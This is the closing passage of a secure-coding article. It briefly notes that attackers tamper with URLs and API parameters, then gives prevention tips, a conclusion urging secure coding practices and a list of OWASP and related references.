In fact, hackers can use many tricks such as changing the URL, changing the param in the API, and using the tool to scan for unsecured resources.
Prevention
- Set strict user permissions
- Always test the application carefully
- Protect sensitive data such as source code, config, database key, need to restrict access. The best practice is to only allow internal IPs to access this data.
Conclude
The use of secure coding for the application is an indispensable element to ensure safety and security. By applying secure coding principles and methods, you can help prevent security vulnerabilities from appearing at an early stage and reduce future risks. Build a trusted and secure app for users.
References
https://owasp.org/www-community/attacks/
https://owasp.org/www-pdf-archive/OWASP_SCP_Quick_Reference_Guide_v1.pdf
https://www.websec.ca/kb/sql_injection
https://codedx.com/insecure-direct-object-references/
https://viblo.asia/s/secure-coding-for-developers-dbZN76EalYM